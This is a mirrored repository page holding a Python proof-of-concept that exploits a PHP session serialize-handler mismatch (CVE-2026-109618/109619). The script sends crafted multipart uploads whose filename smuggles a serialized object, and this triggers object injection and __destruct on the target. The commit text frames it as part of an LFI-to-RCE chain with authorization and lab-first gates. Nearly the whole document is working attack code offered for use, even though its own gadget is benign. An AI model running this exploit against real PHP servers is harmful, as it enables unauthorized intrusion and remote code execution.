mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-11-15 04:30:55 +08:00
Implements #109. Skills ship the chain-1 workflow (session file injection through upload_progress filename + app LFI -> RCE, CVE-2026-109618/109619) with hard gates: authorized targets only, program zero-day policy checked before any live attempt (patches landed 2026-10-21 for 8.2-8.5), passive detection before exploitation, lab-first practice via the vendored docker lab, chains 2/3 (UAF, serializer mismatch) marked lab-only, one-shot verification with a marker. Upstream PoCs vendored under scripts/poc/php2shell with attribution and the MIT notice (upstream declares MIT in its README).
110 lines
3.8 KiB
Python
110 lines
3.8 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
CVE-2026-109618/109619 — Verify session handler mismatch → object injection.
|
|
|
|
Demonstrates:
|
|
1. Session written in php_serialize format (via directory with .user.ini)
|
|
2. Pipe | in filename preserved in php_serialize format
|
|
3. php handler reads the session → splits at | → deserializes injected object
|
|
4. __destruct fires even when decode returns FAILURE (trailing data)
|
|
|
|
Setup required:
|
|
- /app/ directory with .user.ini: session.serialize_handler = php_serialize
|
|
- /api/ directory with .user.ini: session.serialize_handler = php
|
|
- Both share the same session.save_path
|
|
|
|
Usage:
|
|
python3 verify_handler_mismatch.py --target http://127.0.0.1:18080
|
|
|
|
For authorized security testing only.
|
|
"""
|
|
import argparse
|
|
import socket
|
|
import sys
|
|
from urllib.parse import urlparse
|
|
|
|
|
|
def upload(host, port, path, sid, filename):
|
|
boundary = "MISMATCH"
|
|
body = (
|
|
f"--{boundary}\r\n"
|
|
f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
|
|
f"--{boundary}\r\n"
|
|
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
|
|
f"--{boundary}\r\n"
|
|
f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
|
|
f"--{boundary}--\r\n"
|
|
).encode("latin-1")
|
|
|
|
req = (
|
|
f"POST {path} HTTP/1.1\r\n"
|
|
f"Host: {host}\r\n"
|
|
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
|
f"Content-Length: {len(body)}\r\n"
|
|
f"Connection: close\r\n\r\n"
|
|
).encode() + body
|
|
|
|
s = socket.create_connection((host, port), timeout=15)
|
|
s.sendall(req)
|
|
s.settimeout(10)
|
|
resp = b""
|
|
while True:
|
|
try:
|
|
d = s.recv(65536)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
break
|
|
s.close()
|
|
return resp
|
|
|
|
|
|
def main():
|
|
ap = argparse.ArgumentParser()
|
|
ap.add_argument("--target", default="http://127.0.0.1:18080")
|
|
ap.add_argument("--write-path", default="/app/upload.php",
|
|
help="Endpoint with php_serialize handler")
|
|
ap.add_argument("--read-path", default="/api/endpoint.php",
|
|
help="Endpoint with php handler")
|
|
ap.add_argument("--sid", default="mismatchverify0000000000000")
|
|
args = ap.parse_args()
|
|
|
|
u = urlparse(args.target)
|
|
host = u.hostname
|
|
port = u.port or 80
|
|
|
|
print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification")
|
|
print(f"[*] Target: {args.target}")
|
|
print()
|
|
|
|
# Step 1: Write session via php_serialize endpoint
|
|
# Filename contains |O:8:"stdClass":0:{} (escaped quotes)
|
|
gadget = 'x|O:8:\\"stdClass\\":0:{}'
|
|
print(f"[1] Writing session via {args.write_path} (php_serialize)")
|
|
print(f" Filename payload: {gadget}")
|
|
upload(host, port, args.write_path, args.sid, gadget)
|
|
print(" → Session file written in php_serialize format")
|
|
|
|
# Step 2: Trigger via php handler endpoint
|
|
print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)")
|
|
print(" php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}")
|
|
resp = upload(host, port, args.read_path, args.sid, "dummy")
|
|
|
|
status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE"
|
|
print(f" Response: {status}")
|
|
|
|
print()
|
|
print("[*] Verification indicators:")
|
|
print(" - 'Failed to decode session object' warning = mismatch triggered")
|
|
print(" - 'Session object destruction failed' = __destruct fired on injected object")
|
|
print(" - If target has a class with exploitable __destruct → RCE")
|
|
print()
|
|
print("[*] Check target for:")
|
|
print(f" - Session file: /tmp/sessions/sess_{args.sid}")
|
|
print(" - Evidence of __destruct execution (file writes, network connections, etc.)")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|